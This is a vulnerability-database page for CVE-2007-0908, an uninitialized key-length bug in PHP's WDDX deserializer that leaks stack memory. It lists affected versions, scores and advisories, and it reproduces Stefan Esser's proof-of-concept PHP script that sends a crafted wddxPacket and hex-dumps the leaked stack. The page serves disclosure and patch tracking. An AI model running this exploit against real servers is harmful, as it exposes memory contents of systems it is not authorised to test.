CVE-2007-0908 : Detail

CVE-2007-0908

A03-Injection
2.44%V3
Network
2007-02-13
22h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The WDDX deserializer in the wddx extension in PHP 5 before 5.2.1 and PHP 4 before 4.4.5 does not properly initialize the key_length variable for a numerical key, which allows context-dependent attackers to read stack memory via a wddxPacket element that contains a variable with a string name before a numerical variable.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3414

Publication date : 2007-03-03 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP WDDX Session Deserialization Stack Information Leak // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); if (!extension_loaded("wddx")) { die("wddx extension needed\n"); } ini_set("session.serialize_handler", "wddx"); session_start(); session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>"); $keys = array_keys($_SESSION); $stackdump = $keys[1]; echo "Stackdump\n---------\n\n"; for ($b=0; $b<strlen($stackdump); $b+=16) { printf("%08x: ", $b); for ($i=0; $i<16; $i++) { printf ("%02x ", ord($stackdump[$b+$i])); } for ($i=0; $i<16; $i++) { $c = ord($stackdump[$b+$i]); if ($c > 127 || $c < 32) { $c = ord("."); } printf ("%c", $c); } printf("\n"); } ?> # milw0rm.com [2007-03-04]

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 4.0.0 To (excluding) 4.4.5

Php>>Php >> Version From (including) 5.0.0 To (excluding) 5.2.1

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 5.10

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 6.10

References

http://www.us.debian.org/security/2007/dsa-1264
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/24295
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.trustix.org/errata/2007/0009/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://secunia.com/advisories/24195
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1017671
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/24606
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24642
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24217
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/32766
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/24248
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24514
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/22496
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/24284
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-424-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.php.net/releases/5_2_1.php
Tags : x_refsource_CONFIRM
http://security.gentoo.org/glsa/glsa-200703-21.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/24432
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24421
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24089
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/2321
Tags : third-party-advisory, x_refsource_SREASON
http://www.redhat.com/support/errata/RHSA-2007-0076.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24419
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2007-0089.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2007-0088.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2007-0082.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/22806
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDKSA-2007:048
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/usn-424-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2007-0081.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24322
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24236
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/0546
Tags : vdb-entry, x_refsource_VUPEN